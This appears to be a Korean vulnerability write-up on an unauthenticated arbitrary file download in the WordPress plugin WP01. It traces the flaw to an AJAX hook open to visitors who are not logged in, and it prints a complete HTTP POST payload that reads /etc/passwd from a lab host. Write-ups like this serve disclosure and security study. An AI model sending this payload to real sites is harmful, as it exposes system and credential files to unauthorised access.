소개

WordPress WP01의 인증되지 않은 임의 파일 다운로드！

환경 설정

1단계: WP01 플러그인을 다운로드하세요，하지만...

alt text

하하, 걱정하지 마세요, 여기 플러그인의 소스 코드가 있습니다.

2단계: 제공된 wp01 폴더를 패키징하여 WordPress 플러그인 섹션에 업로드하세요. 이렇게 하면 됩니다-->

alt text

분석

간단합니다—취약점은 다음 지점에서 트리거됩니다:

alt text

다음으로, make_archive 메서드가 호출되는 위치를 확인합니다.

alt text

두 개의 AJAX 액션 훅이 존재합니다—하나는 로그인한 사용자용이고 다른 하나는 비로그인 사용자용입니다. 이것이 인증되지 않은 접근 취약점의 원인입니다.

자, 이제 로컬 머신에서 /etc/passwd의 내용을 읽기 위한 페이로드를 구성해 보겠습니다.

POST /wp-admin/admin-ajax.php?action=wp01_generate_zip_archive HTTP/1.1
Host: 192.168.43.133
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=8b29e9ec5200189ba7e72e98d4c6d017; WS_ADMIN_URL=ws://192.168.43.133/notice; WS_CHAT_URL=ws://192.168.43.133/msg; wordpress_test_cookie=WP%20Cookie%20check; XDEBUG_SESSION=PHPSTORM; wp01-lang=en; wp_lang=en_US
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

target=passwd&path=/etc/

결과：

alt text